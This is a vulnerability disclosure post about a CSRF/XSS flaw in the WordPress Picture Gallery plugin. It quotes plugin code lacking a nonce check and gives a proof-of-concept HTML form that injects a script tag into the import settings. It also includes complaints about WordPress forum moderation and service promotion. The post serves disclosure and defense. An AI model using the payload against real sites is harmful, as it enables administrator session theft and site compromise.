11 Aug 2021

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Picture Gallery

A new report claims that there is a stored cross-site scripting (XSS) vulnerability in the WordPress plugin Picture Gallery. Like a lot of recent reports this isn’t really a vulnerability as the attacker would need to be logged in to WordPress as an Administrator to exploit this. But while confirming that was in fact the case, we found that there is actually a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability in somewhat related code in the plugin.

With the supposed vulnerability, it involves accessing a page only accessible to those with the manage_options capability, so Administrators:

293
add_submenu_page("picture-gallery", "Picture Gallery", "Options", 'manage_options', "picture-gallery", array('VWpictureGallery', 'adminOptions'));

And there is a check for a valid nonce, to prevent CSRF, before saving a change of the plugin’s setttings:

2822
2823
2824
2825
2826
2827
2828
2829
2830
2831
$nonce = $_REQUEST['_wpnonce'];
if ( ! wp_verify_nonce( $nonce, 'vwsec' ) )
{
	echo 'Invalid nonce!';
	exit;
}
 
foreach ($options as $key => $value)
	if (isset($_POST[$key])) $options[$key] = trim($_POST[$key]);
	update_option('VWpictureGalleryOptions', $options);

The situation is different when saving the plugin’s import settings on a different page. That page also requires the manage_options capability:

295
add_submenu_page("picture-gallery", "Import", "Import", 'manage_options', "picture-gallery-import", array('VWpictureGallery', 'adminImport'));

But the code, which is located in the file /picture-gallery.php, that then runs to handle saving the settings doesn’t check for a nonce, so it can be exploited through CSRF:

3110
3111
3112
3113
3114
3115
3116
3117
3118
function adminImport()
{
	$options = VWpictureGallery::setupOptions();
 
	if (isset($_POST))
	{
		foreach ($options as $key => $value)
			if (isset($_POST[$key])) $options[$key] = trim($_POST[$key]);
			update_option('VWpictureGalleryOptions', $options);

As the proof of concept below confirms, there is a lack of sanitization, validation, and or escaping, which allows XSS to occur through CSRF there.

WordPress Causes Full Disclosure

Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.) You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause an alert box with any available cookies to be shown on the page /wp-admin/admin.php?page=picture-gallery-import, when logged in as an Administrator.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=picture-gallery-import" method="POST">
<input type="hidden" name="importPath" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.